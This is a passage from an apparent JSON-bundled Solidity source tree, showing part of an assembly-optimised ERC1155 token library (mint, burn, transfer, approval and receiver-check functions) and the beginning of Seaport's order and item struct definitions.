// `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra 